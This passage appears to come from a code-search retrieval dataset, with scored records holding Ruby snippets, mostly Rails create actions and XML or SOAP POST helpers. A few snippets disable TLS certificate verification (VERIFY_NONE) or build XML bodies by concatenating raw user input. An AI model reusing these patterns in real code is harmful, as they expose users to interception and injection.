"docid": "c4b8ba4273b09ed53e57e2e3ebc0e16d", "score": "0.53766257", "text": "def post(options = {})\n request :post, options\n end", "title": "" }, { "docid": "d30e72e2fd6faf32622eee24b8334b65", "score": "0.5371495", "text": "def post(path, arguments = {})\n Mavenlink.logger.note \"Started POST /#{path} with #{arguments.inspect}\"\n parse_request(connection.post(path, arguments))\n end", "title": "" }, { "docid": "3199172d4065b6003041cf7a5b6aad91", "score": "0.53686714", "text": "def post_expense_xml(xml)\n #request header bekommt Content-type = xml\n header \"Content-Type\", \"text/xml\" \n #expense daten werden alsl xml per Post request an den Server gesendet\n post '/expenses', xml\n #es wird erwartet das dies erfolgreich war\n expect(last_response.status).to eq(200)\n\n parsed = Ox.load(last_response.body, mode: :hash)\n expect(parsed).to include('expense_id' => a_kind_of(Integer))\n #adds an id key to the expense hash, containing the id from the database, after an expense is succesfully stored\n expense.merge('id' => parsed['expense_id'])\nend", "title": "" }, { "docid": "c7a4999c303180816402935f001d3e45", "score": "0.5365893", "text": "def create\n @etapasproceso = Etapasproceso.new(params[:etapasproceso])\n\n respond_to do |format|\n if @etapasproceso.save\n flash[:notice] = 'Etapasproceso was successfully created.'\n format.html { redirect_to(@etapasproceso) }\n format.xml { render :xml => @etapasproceso, :status => :created, :location => @etapasproceso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @etapasproceso.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6e8af90d99555217a0a797968fbc5ba", "score": "0.5361078", "text": "def create\n @sujit = Sujit.new(params[:sujit])\n\n respond_to do |format|\n if @sujit.save\n format.html { redirect_to(@sujit, :notice => 'Sujit was successfully created.') }\n format.xml { render :xml => @sujit, :status => :created, :location => @sujit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sujit.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6d8805076b4de0955d72730861836c9", "score": "0.53540593", "text": "def do_POST(request, response)\n content_type, params = parse_content_type(request)\n\n # In SOAP 1.1, the action is sent in the SOAPAction header. In\n # SOAP 1.2, it's sent as a parameter to the Content-Type header.\n # Savon sends SOAPAction (even though it's SOAP 1.2), so we need to\n # accept it. That's okay, because it appears Epic InterConnect\n # (WCF) also will accept the SOAP 1.1 method.\n namespaced_action_name = request['SOAPAction'] || params['action']\n action_name = namespaced_action_name.gsub('\"', '').split(':')[-1]\n\n action = @actions[action_name]\n\n if not action then\n # Unknown action; send back a 400\n response.status = 400\n\n else\n body = Nokogiri::XML(request.body)\n @received << body if @keep_received\n\n xml, status = action.call(body, response)\n\n response.status = status\n response['Content-Type'] = 'text/xml'\n response.body = xml\n end\n end", "title": "" }, { "docid": "d3536ed4e0dbbf3e71d0f4b7cd0f5814", "score": "0.5352135", "text": "def new\n @saidas = Saida.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @saidas }\n end\n end", "title": "" }, { "docid": "520ec9344e2407bc5cf5f0ab5548d93d", "score": "0.5350194", "text": "def create\n @sisben = Sisben.new(params[:sisben])\n\n respond_to do |format|\n if @sisben.save\n flash[:notice] = 'Sisben was successfully created.'\n format.html { redirect_to(@sisben) }\n format.xml { render :xml => @sisben, :status => :created, :location => @sisben }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sisben.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36066fac4bc9e5fd662d15c15ce4bf67", "score": "0.5324665", "text": "def create\n @solicitud_estudiante = SolicitudEstudiante.new(solicitud_estudiante_params)\n\n respond_to do |format|\n if @solicitud_estudiante.save\n format.html { redirect_to @solicitud_estudiante, notice: 'Solicitud estudiante ha sido creada.' }\n format.json { render :show, status: :created, location: @solicitud_estudiante }\n else\n format.html { render :new }\n format.json { render json: @solicitud_estudiante.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44fe5bf0bae375a2be82b55bb7d1d5ef", "score": "0.53202355", "text": "def create\n @entrega = Entrega.new(params[:entrega])\n\n respond_to do |format|\n if @entrega.save\n format.html { redirect_to(@entrega, :notice => 'Entrega was successfully created.') }\n format.xml { render :xml => @entrega, :status => :created, :location => @entrega }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entrega.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd5469d0152ed1d73b3cd59fb8b12a07", "score": "0.5312654", "text": "def post *args\n make_request :post, *args\n end", "title": "" }, { "docid": "62736d7fa09c7e709fc0ebc5168ae1ba", "score": "0.5306167", "text": "def create\n @estagiarios = Estagiario.new(params[:estagiario])\n\n respond_to do |format|\n if @estagiarios.save\n flash[:notice] = 'ESTAGIÁRIO CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { render :xml => @estagiarios, :status => :created, :location => @estagiarios }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4495ca49c5dd5a3f0d9d223dec4efa6a", "score": "0.52961594", "text": "def create\n @soupdejour = Soupdejour.new(params[:soupdejour])\n\n respond_to do |format|\n if @soupdejour.save\n format.html { redirect_to @soupdejour, notice: 'Soupdejour was successfully created.' }\n format.json { render json: @soupdejour, status: :created, location: @soupdejour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @soupdejour.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.52939576", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.52939576", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.52939576", "text": "def POST; end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.52939576", "text": "def POST; end", "title": "" }, { "docid": "d6d974d2118304c98d18c2a9b7dd9c35", "score": "0.52918273", "text": "def create\n @questao = Questao.new(params[:questao])\n\n respond_to do |format|\n if @questao.save\n format.html { redirect_to(@questao, :notice => 'Questao was successfully created.') }\n format.xml { render :xml => @questao, :status => :created, :location => @questao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @questao.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f9e70c2e3a2dc496a290f67207d8b02", "score": "0.5290945", "text": "def create\n Passenger.destroy_all\n @passenger = Passenger.new(params[:passenger])\n [email protected]_name\n [email protected]_name\n [email protected]\n [email protected]\n [email protected]\n\n client = Savon::Client.new (ruta_wdsl)\n client.wsdl.soap_actions\n response = client.request :ser, :registrarPasajero do\n soap.namespaces[\"xmlns:ser\"] = \"http://service.wsreserva.qwerty.dsd.upc.edu.pe/\"\n soap.body = \"<pasajero><apepaterno>\" + lastname + \"</apepaterno><apematerno></apematerno><correo>\" + email + \"</correo><nombre>\" + firstname + \"</nombre><password>\" + password + \"</password><usuario>\" + user + \"</usuario></pasajero>\" \n end\n\n if response.success?\n @passenger = response.to_hash\n respond_to do |format|\n if @passenger[:registrar_pasajero_response][:return][:codigo]==\"0\"\n session[:usr] = @passenger[:registrar_pasajero_response][:return][:pasajero][:usuario]\n session[:name] = @passenger[:registrar_pasajero_response][:return][:pasajero][:nombre]\n session[:pwd] = @passenger[:registrar_pasajero_response][:return][:pasajero][:password]\n format.html { redirect_to \"/passengers/\"+@passenger[:registrar_pasajero_response][:return][:pasajero][:idpasajero], notice: @passenger[:registrar_pasajero_response][:return][:mensaje] }\n format.json { render json: @passenger[:registrar_pasajero_response][:return][:mensaje], status: :created, location: @passenger}\n else\n format.html { render action: \"new\" }\n format.json { render json: @passenger[:registrar_pasajero_response][:return][:mensaje], status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "767b71a198c4c2364afb6c08de404f73", "score": "0.5288818", "text": "def create\n @seguimiento = Seguimiento.new(params[:seguimiento])\n\n respond_to do |format|\n if @seguimiento.save\n format.html { redirect_to(@seguimiento, :notice => 'Seguimiento was successfully created.') }\n format.xml { render :xml => @seguimiento, :status => :created, :location => @seguimiento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @seguimiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3b74d92fcdd0fbb9df8eed2a58d177b", "score": "0.52839816", "text": "def create_scrap\n self.add_scrap\n result = {\"success\" => true, \"message\" => \"Success\"}\n \n respond_to do |format|\n format.xml { render :xml => result } \n format.json { render :json => result }\n end\n end", "title": "" }, { "docid": "831c09dd5e41bf5f8c3d8b3e88ed56c9", "score": "0.5282855", "text": "def post(path:, body:)\n parse_response_body(\n super(\n path: path,\n body: Bambora::Builders::XMLRequestBody.new(body: body).to_s,\n headers: build_headers,\n ),\n )\n end", "title": "" }, { "docid": "8b92f7d8d5092ed9a7e3a5b313e6d712", "score": "0.52809244", "text": "def create\n @solicitation = Solicitation.new(params[:solicitation])\n\n respond_to do |format|\n if @solicitation.save\n format.html { redirect_to(@solicitation, :notice => 'Solicitation was successfully created.') }\n format.xml { render :xml => @solicitation, :status => :created, :location => @solicitation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bbbd80a31d000341482179d6c92328d", "score": "0.52786356", "text": "def create\n recieve_xml\n end", "title": "" }, { "docid": "9ec11d33089dd0ef8ef570eb60fa28f6", "score": "0.5265819", "text": "def create\n @tipoespacio = Tipoespacio.new(params[:tipoespacio])\n\n respond_to do |format|\n if @tipoespacio.save\n flash[:notice] = 'Tipo creado satisfactoriamente.'\n format.html { redirect_to(@tipoespacio) }\n format.xml { render :xml => @tipoespacio, :status => :created, :location => @tipoespacio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tipoespacio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f133e68ea7b3b3c09e447db7f5083b43", "score": "0.5259106", "text": "def create\n @sigesp_solicitud = Sigesp::Solicitud.new(sigesp_solicitud_params)\n\n respond_to do |format|\n if @sigesp_solicitud.save\n format.html { redirect_to @sigesp_solicitud, notice: 'Solicitud was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sigesp_solicitud }\n else\n format.html { render action: 'new' }\n format.json { render json: @sigesp_solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce9e2a0cefac84ec9cdcb59ee1485319", "score": "0.52578676", "text": "def create\n @viviendascarta = Viviendascarta.new(params[:viviendascarta])\n\n respond_to do |format|\n if @viviendascarta.save\n flash[:notice] = 'Viviendascarta was successfully created.'\n format.html { redirect_to(@viviendascarta) }\n format.xml { render :xml => @viviendascarta, :status => :created, :location => @viviendascarta }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @viviendascarta.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c625272f8596f63d4b6a64a50938d9a", "score": "0.52543026", "text": "def post(options = {})\n request(:post, options)\n end", "title": "" }, { "docid": "5fb040946bdf3cc6fd41652337308c47", "score": "0.5248472", "text": "def create\n @nada = Nada.new(params[:nada])\n\n respond_to do |format|\n if @nada.save\n flash[:notice] = 'Nada was successfully created.'\n format.html { redirect_to(@nada) }\n format.xml { render :xml => @nada, :status => :created, :location => @nada }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nada.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b456ab82c5642c2213bcf7214d1ced3", "score": "0.5247776", "text": "def create\n @almacenescierre = Almacenescierre.new(params[:almacenescierre])\n\n respond_to do |format|\n if @almacenescierre.save\n flash[:notice] = 'Almacenescierre was successfully created.'\n format.html { redirect_to(@almacenescierre) }\n format.xml { render :xml => @almacenescierre, :status => :created, :location => @almacenescierre }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @almacenescierre.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "641a8daf102647af387d6168a5b92438", "score": "0.5246057", "text": "def create\n @espacio = Espacio.new(params[:espacio])\n\n respond_to do |format|\n if @espacio.save\n flash[:notice] = 'Se creo el espacio satisfactoriamente.'\n format.html { redirect_to(@espacio) }\n format.xml { render :xml => @espacio, :status => :created, :location => @espacio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @espacio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a2430fa5191479fd4919abb2ab2ce58", "score": "0.5241516", "text": "def create\n @estagiario = Estagiario.new(params[:estagiario])\n\n respond_to do |format|\n if @estagiario.save\n flash[:notice] = 'Estagiario foi criado com sucesso.'\n format.html { redirect_to(@estagiario) }\n format.xml { render :xml => @estagiario, :status => :created, :location => @estagiario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagiario.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f271d8fc5685d9cc33a4df7be9c3db3d", "score": "0.5237663", "text": "def post_request(method)\n time = Time.now.to_i.to_s\n hash_method = method.split('&').first\n username = cookies.signed[:username].to_s\n password = cookies.signed[:pwd]\n hash = Digest::SHA1.hexdigest(password + time + hash_method)\n uri = URI.parse(\"https://staging.carnextdoor.com.au/webservices/index.php/WSUser/WSRest?action=\" + method + \"&user=\" + username + \"&hash=\" + hash + \"&time=\" + time + \"&billcode=mobile\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n\n response = http.request(request)\n hash = XmlSimple.xml_in(response.body, { 'KeyAttr' => 'name'})\n end", "title": "" }, { "docid": "fa44673935cffe6f3f3d14064c8991da", "score": "0.5237255", "text": "def create\n @escola = Escola.new(params[:escola])\n\n respond_to do |format|\n if @escola.save\n format.html { redirect_to(@escola, :notice => 'Escola cadastrada com sucesso.') }\n format.xml { render :xml => @escola, :status => :created, :location => @escola }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @escola.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd1a046676dbe9f4df26987426c10043", "score": "0.52353823", "text": "def create\n @nasyid = Nasyid.new(params[:nasyid])\n\n respond_to do |format|\n if @nasyid.save\n flash[:notice] = 'Nasyid telah berjaya dikemaskini.'\n format.html { redirect_to(@nasyid) }\n format.xml { render :xml => @nasyid, :status => :created, :location => @nasyid }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nasyid.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88891e8cd4e24ac7f19a0592168544aa", "score": "0.5232792", "text": "def create\n @ata = Ata.new(params[:ata])\n if params[:tipo_reuniao] != 'outros'\n @ata.titulo= params[:tipo_reuniao]\n end\n respond_to do |format|\n if @ata.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@ata) }\n format.xml { render :xml => @ata, :status => :created, :location => @ata }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ata.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f80df8a928d9868f04659f656a637f7", "score": "0.5228079", "text": "def post_xml(xml, body={})\n # Prepare the request\n url = URI.parse(\"#{self.class.base_uri}/ws/butler.do\")\n body[:xml] = UploadIO.new(StringIO.new(xml), 'text/xml', 'request.xml')\n body[:test] = true if @test\n request = Net::HTTP::Post::Multipart.new(url.path, body)\n request.basic_auth @auth[:username], @auth[:password]\n \n # Perform request\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.start{|http| http.request(request)}\n\n # Parse the response\n response = Response.new(request, res, lambda { Parser.new(res.body, :xml).parse })\n end", "title": "" }, { "docid": "73a922cdc9c7ea8fb7c0e5086723e5b8", "score": "0.5211396", "text": "def create\n @transportista = Transportista.new(params[:transportista])\n\n respond_to do |format|\n if @transportista.save\n flash[:notice] = 'Transportista was successfully created.'\n format.html { redirect_to(@transportista) }\n format.xml { render :xml => @transportista, :status => :created, :location => @transportista }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transportista.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "460c0c99c90524ddadf3055fd33d529b", "score": "0.5210155", "text": "def create\n @ensayo = Ensayo.new(ensayo_params)\n\n respond_to do |format|\n if @ensayo.save\n format.html { redirect_to @ensayo, notice: 'Ensayo was successfully created.' }\n format.json { render :show, status: :created, location: @ensayo }\n else\n format.html { render :new }\n format.json { render json: @ensayo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7b0fa731fcc89131d24304f9051c6d8", "score": "0.5205877", "text": "def send(*attributes)\n request_type = attributes.shift\n generated_xml = generate_xml(request_type, attributes.first)\n RAILS_DEFAULT_LOGGER.debug \"Sent XML: #{generated_xml}\"\n @connection.write generated_xml\n response = @connection.read\n @connection.close\n \n Response.new response\n end", "title": "" }, { "docid": "bc700dba5c18d4d9fcb556fcce0ebe6a", "score": "0.5204171", "text": "def create\n @espai = Espai.new(params[:espai])\n\n respond_to do |format|\n if @espai.save\n format.html { redirect_to @espai, notice: 'Espai was successfully created.' }\n format.json { render json: @espai, status: :created, location: @espai }\n else\n format.html { render action: \"new\" }\n format.json { render json: @espai.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c91cd6bfc772affacb040a9c25924e8e", "score": "0.5202806", "text": "def create\n @tipos = Tipo.all\n @raca = Raca.new(params[:raca])\n\n respond_to do |format|\n if @raca.save\n flash[:notice] = 'Registro salvo com sucesso.'\n format.html { redirect_to(racas_url) }\n format.xml { render :xml => @raca, :status => :created, :location => @raca }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @raca.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8802a1d572195a36adac90bdf6a8c0db", "score": "0.5200655", "text": "def create\n @sucursal = Sucursal.new(params[:sucursal])\n\n respond_to do |format|\n if @sucursal.save\n flash[:notice] = 'Sucursal was successfully created.'\n format.html { redirect_to(@sucursal) }\n format.xml { render :xml => @sucursal, :status => :created, :location => @sucursal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sucursal.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eabe6afa9cb10c56f33c770f5f21d2cd", "score": "0.52005446", "text": "def post(options)\n log \"POST #{request_url}\"\n response = RestClient.post(request_url, setup_params.merge(options))\n log \"RESPONSE BODY:\\n#{response}\"\n response\n rescue Exception => exception\n response = %{\n <string xmlns=\"http://tempuri.org/\">\n {\"Erro\": {\"@Mensagem\": \"#{exception.message}\"}}\n </string>\n }\n log \"RESPONSE BODY:\\n#{response}\"\n response\n end", "title": "" }, { "docid": "4ba42206b1ed0997ac7baf6c3ba0ddb6", "score": "0.519615", "text": "def create\n @roteiro = Roteiro.new(params[:roteiro])\n\n respond_to do |format|\n if @roteiro.save\n flash[:notice] = 'Roteiro was successfully created.'\n format.html { redirect_to(@roteiro) }\n format.xml { render :xml => @roteiro, :status => :created, :location => @roteiro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @roteiro.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db6c4cfadaf4d837eec8271f6ab1cd96", "score": "0.5194365", "text": "def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully created.' }\n format.json { render :show, status: :created, location: @solicitud }\n else\n format.html { render :new }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db6c4cfadaf4d837eec8271f6ab1cd96", "score": "0.5194365", "text": "def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully created.' }\n format.json { render :show, status: :created, location: @solicitud }\n else\n format.html { render :new }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6741a1cc506927ba43ea75a746a0deb", "score": "0.51899886", "text": "def create\n @testis = Teste.new(params[:testis])\n\n respond_to do |format|\n if @testis.save\n format.html { redirect_to(@testis, :notice => 'Teste was successfully created.') }\n format.xml { render :xml => @testis, :status => :created, :location => @testis }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @testis.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cfb5270368ce23e3768ec97d543dfc3", "score": "0.5185866", "text": "def create\n @questao = Questao.new(params[:questao])\n\n respond_to do |format|\n if @questao.save\n flash[:notice] = 'Questao was successfully created.'\n #format.html { redirect_to(@questao) }\n format.html { redirect_to :action => \"new\", :id => @questao.id}\n format.xml { render :xml => @questao, :status => :created, :location => @questao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @questao.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2fe10e4603925fb3ff9c1d77b3de632", "score": "0.5185804", "text": "def do_post(host, port)\n\tbody = get_viking_data.to_json\n\theaders = { \"Content-Type\" => \"application/x-www-form-urlencoded\",\n\t \"Content-Length\" => body.length }\n\tmake_request(host, port, :post, '/viking', headers, body)\nend", "title": "" }, { "docid": "3db41c6c3283e192d964c2f1ddc58ee0", "score": "0.5184461", "text": "def create\n @serasa = Serasa.new(serasa_params)\n\n respond_to do |format|\n if @serasa.save\n format.html { redirect_to @serasa, notice: 'Serasa was successfully created.' }\n format.json { render action: 'show', status: :created, location: @serasa }\n else\n format.html { render action: 'new' }\n format.json { render json: @serasa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c2ee43627631e091c00efa8577b8e0e", "score": "0.51840335", "text": "def create\n @destaque = Destaque.new(params[:destaque])\n\n respond_to do |format|\n if @destaque.save\n format.html { redirect_to(@destaque, :notice => 'Destaque was successfully created.') }\n format.xml { render :xml => @destaque, :status => :created, :location => @destaque }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @destaque.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87f274b9472a150d1f5a31114feed4c9", "score": "0.5183459", "text": "def create\n @sugestion = Sugestion.new(params[:sugestion])\n\n respond_to do |format|\n if @sugestion.save\n format.html { redirect_to(@sugestion, :notice => 'Sugestion was successfully created.') }\n format.xml { render :xml => @sugestion, :status => :created, :location => @sugestion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sugestion.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92d59e09ca6ca64b4d9794ae35e8f897", "score": "0.51820624", "text": "def create\n @estadio = Estadio.new(params[:estadio])\n\n respond_to do |format|\n if @estadio.save\n format.html { redirect_to(@estadio, :notice => 'Estádio criado com sucesso.') }\n format.xml { render :xml => @estadio, :status => :created, :location => @estadio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estadio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37f83300346702df88fc1f6c9f371a39", "score": "0.5182021", "text": "def create\n @ponto_assinatura = PontoAssinatura.new(params[:ponto_assinatura])\n\n respond_to do |format|\n if @ponto_assinatura.save\n format.html { redirect_to(@ponto_assinatura, :notice => 'Ponto assinatura cadastrado com sucesso.') }\n format.xml { render :xml => @ponto_assinatura, :status => :created, :location => @ponto_assinatura }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ponto_assinatura.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8302a0451f9481940b0c58f8cc073f39", "score": "0.5181919", "text": "def http_post(path, query_params = {})\n query_params.merge!(:api_key => @api_key, :api_version => \"0001\")\n http = Net::HTTP.new API_ROOT\n data = URI.escape(query_params.map {|k,v| \"#{k}=#{v}\"}.join(\"&\"), /[^-_!~*'()a-zA-Z\\d;\\/?:@&=+$,\\[\\]]/n)\n resp = http.post(path, data)\n xml_doc(resp.body)\n end", "title": "" }, { "docid": "5d9d2e6c7dd27abbd7d48991b484f4a6", "score": "0.51813143", "text": "def post(uri, options = {})\n request :post, options\n end", "title": "" }, { "docid": "e6ee8d83e682d36c3adddc6122768054", "score": "0.51805437", "text": "def create\n @agua = Agua.new(params[:agua])\n\n respond_to do |format|\n if @agua.save\n flash[:notice] = 'Agua was successfully created.'\n format.html { redirect_to(@agua) }\n format.xml { render :xml => @agua, :status => :created, :location => @agua }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @agua.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "adb21e742efec11d3e50ce1239c09b1c", "score": "0.5178355", "text": "def create\n @siswa = Siswa.new(params[:siswa])\n\n respond_to do |format|\n if @siswa.save\n format.html { redirect_to @siswa, notice: 'Siswa was successfully created.' }\n format.json { render json: @siswa, status: :created, location: @siswa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @siswa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c76546fbbf359ed5cab80e7d934ee4d", "score": "0.51737016", "text": "def send(xml)\n @system = xml\n post = 'qf=xml&xml=' + URI.escape(render(:main))\n \n begin\n @api.post(@uri.path, post,\n {\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Content-length' => post.length.to_s\n }\n ).body\n rescue => msg\n puts \"#{ERROR} API request failed.\"\n raise msg\n end\n end", "title": "" }, { "docid": "70792743844281b7f62d2b582f602b5e", "score": "0.5168147", "text": "def create\n @resena = Resena.new(resena_params)\n\n respond_to do |format|\n if @resena.save\n format.html { redirect_to @resena, notice: 'Resena was successfully created.' }\n format.json { render :show, status: :created, location: @resena }\n else\n format.html { render :new }\n format.json { render json: @resena.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9c2f933915e42cc69cbdc5e7e47e438", "score": "0.51675105", "text": "def create\n @srsaavipaa = Srsaavipaa.new(params[:srsaavipaa])\n\n respond_to do |format|\n if @srsaavipaa.save\n format.html { redirect_to :action => 'index' }\n #format.html { redirect_to @srsaavipaa, notice: 'Srsaavipaa was successfully created.' }\n format.json { render json: @srsaavipaa, status: :created, location: @srsaavipaa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @srsaavipaa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa703f7f8a9d3c9463ccfd324575c81f", "score": "0.5165449", "text": "def create\n @nsar = Nsar.new(params[:nsar])\n\n respond_to do |format|\n if @nsar.save\n format.html { redirect_to(nsars_path) }\n format.xml { render :xml => @nsar, :status => :created, :location => @nsar }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nsar.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2edc31249ee17f74385a293ae96bcaf2", "score": "0.5162602", "text": "def create\n @transacao_entrada = TransacaoEntrada.new(transacao_entrada_params)\n\n puts \"DEBUG: #{params[:transacao_entrada][:idSocio]}\"\n\n respond_to do |format|\n if @transacao_entrada.save\n format.html { redirect_to @transacao_entrada, notice: 'Transacao de entrada criada com sucesso.' }\n format.json { render :show, status: :created, location: @transacao_entrada }\n else\n format.html { render :new }\n format.json { render json: @transacao_entrada.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c3866d809c4316d69b8772ccdf36c95", "score": "0.5162556", "text": "def create\n @repre_soupiska = RepreSoupiska.new(repre_soupiska_params)\n\n respond_to do |format|\n if @repre_soupiska.save\n format.html { redirect_to @repre_soupiska, notice: 'Repre soupiska was successfully created.' }\n format.json { render :show, status: :created, location: @repre_soupiska }\n else\n format.html { render :new }\n format.json { render json: @repre_soupiska.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cdc7304ab43bc8c647d372754f7dfefe", "score": "0.51585895", "text": "def create\n @sucursal = Sucursal.new(params[:sucursal])\n\n respond_to do |format|\n if @sucursal.save\n format.html { redirect_to(@sucursal, :notice => 'Sucursal was successfully created.') }\n format.xml { render :xml => @sucursal, :status => :created, :location => @sucursal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sucursal.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec9f9667de44cc75670676366cd44823", "score": "0.5157113", "text": "def create\n @sustantivo = Sustantivo.new(sustantivo_params)\n\n respond_to do |format|\n if @sustantivo.save\n format.html { redirect_to @sustantivo, notice: 'Sustantivo was successfully created.' }\n format.json { render :show, status: :created, location: @sustantivo }\n else\n format.html { render :new }\n format.json { render json: @sustantivo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb886db1c81bd9392d5f6c1c4c54e902", "score": "0.51565474", "text": "def post(path, options={})\n request(:post, path, options)\n end", "title": "" }, { "docid": "eb886db1c81bd9392d5f6c1c4c54e902", "score": "0.51565474", "text": "def post(path, options={})\n request(:post, path, options)\n end", "title": "" } ]
120873e8d50df97b46a8aa95e336d673
[String] the end of the string source://syntax_tree//lib/syntax_tree/node.rb11056
[ { "docid": "0f688875676cb4e5fb1a58d865b51cca", "score": "0.0", "text": "def value; end", "title": "" } ]
